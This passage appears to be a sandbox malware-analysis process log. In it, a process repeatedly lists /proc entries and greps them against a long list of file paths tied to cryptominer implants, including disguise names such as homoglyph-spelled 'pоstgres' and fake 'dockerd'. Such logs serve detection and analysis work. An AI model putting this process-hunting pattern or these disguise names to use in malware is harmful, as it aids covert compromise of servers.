  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1377
- /bin/grep
  grep -q systemd
  2⤵
  PID:1379
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1381
- /bin/grep
  grep exe
  2⤵
  PID:1384
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1383
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1386
- /bin/grep
  grep -q systemd
  2⤵
  PID:1388
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1390
- /bin/grep
  grep exe
  2⤵
  PID:1393
- /bin/ls
  ls -latrh /proc/749
  2⤵
  PID:1392
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1395
- /bin/grep
  grep -q systemd
  2⤵
  PID:1397
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1399
- /bin/grep
  grep exe
  2⤵
  PID:1402
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1401
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1404
- /bin/grep
  grep -q systemd
  2⤵
  PID:1406
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/754
  2⤵
  PID:1410
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep -q systemd
  2⤵
  PID:1415
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1417
- /bin/grep
  grep exe
  2⤵
  PID:1420
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1419
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1422
- /bin/grep
  grep -q systemd
  2⤵
  PID:1424
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1426
- /bin/grep
  grep exe
  2⤵
  PID:1429
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1428
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1431
- /bin/grep
  grep -q systemd
  2⤵
  PID:1433
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1435
- /bin/grep
  grep exe
  2⤵
  PID:1438
- /bin/ls
  ls -latrh /proc/81
  2⤵
  PID:1437
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1440
- /bin/grep
  grep -q systemd
  2⤵
  PID:1442
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1444
- /bin/grep
  grep exe
  2⤵
  PID:1447
- /bin/ls
  ls -latrh /proc/83
  2⤵
  PID:1446
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1449
- /bin/grep
  grep -q systemd
  2⤵
  PID:1451
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/84
  2⤵
  PID:1455
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep -q systemd
  2⤵
  PID:1460
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1462
- /bin/grep
  grep exe
  2⤵
  PID:1465
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1464
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1467
- /bin/grep
  grep -q systemd
  2⤵
  PID:1469
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1471
- /bin/grep
  grep exe
  2⤵
  PID:1474
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1473
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1476
- /bin/grep
  grep -q systemd
  2⤵
  PID:1478
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1480
- /bin/grep
  grep exe
  2⤵
  PID:1483
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1482
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1485
- /bin/grep
  grep -q systemd
  2⤵
  PID:1487
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1489
- /bin/grep
  grep exe
  2⤵
  PID:1492
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1491
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1494
- /bin/grep
  grep -q systemd
  2⤵
  PID:1496
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1498
- /bin/grep
  grep exe
  2⤵
  PID:1501
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1500
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1503
- /bin/grep
  grep -q systemd
  2⤵
  PID:1505
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1507
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1509
- /bin/grep
  grep exe
  2⤵
  PID:1510
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1512
- /bin/grep
  grep -q systemd
  2⤵
  PID:1514
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1516
- /bin/grep
  grep exe
  2⤵
  PID:1519
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1518
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1521
- /bin/grep
  grep -q systemd
  2⤵
  PID:1523
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1525
- /bin/grep
  grep exe
  2⤵
  PID:1528
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1527
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1530
- /bin/grep
  grep -q systemd
  2⤵
  PID:1532
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1534
- /bin/grep
  grep exe
  2⤵
  PID:1537
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1536
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1539
- /bin/grep
  grep -q systemd
  2⤵
  PID:1541
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1543
- /bin/grep
  grep exe
  2⤵
  PID:1546
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1545
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1548
- /bin/grep
  grep -q systemd
  2⤵
  PID:1550
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1552
- /bin/grep
  grep exe
  2⤵
  PID:1555
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1554
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1557
- /bin/grep
  grep -q systemd
  2⤵
  PID:1559
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1561
- /bin/grep
  grep exe
  2⤵
  PID:1564
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1563
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1566
- /bin/grep
  grep -q systemd
  2⤵
  PID:1568
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1570
- /bin/grep
  grep exe
  2⤵
  PID:1573
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1572
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1575
- /bin/grep
  grep -q systemd
  2⤵
  PID:1577
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1579
- /bin/grep
  grep exe
  2⤵
  PID:1582
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1581
- /bin/grep
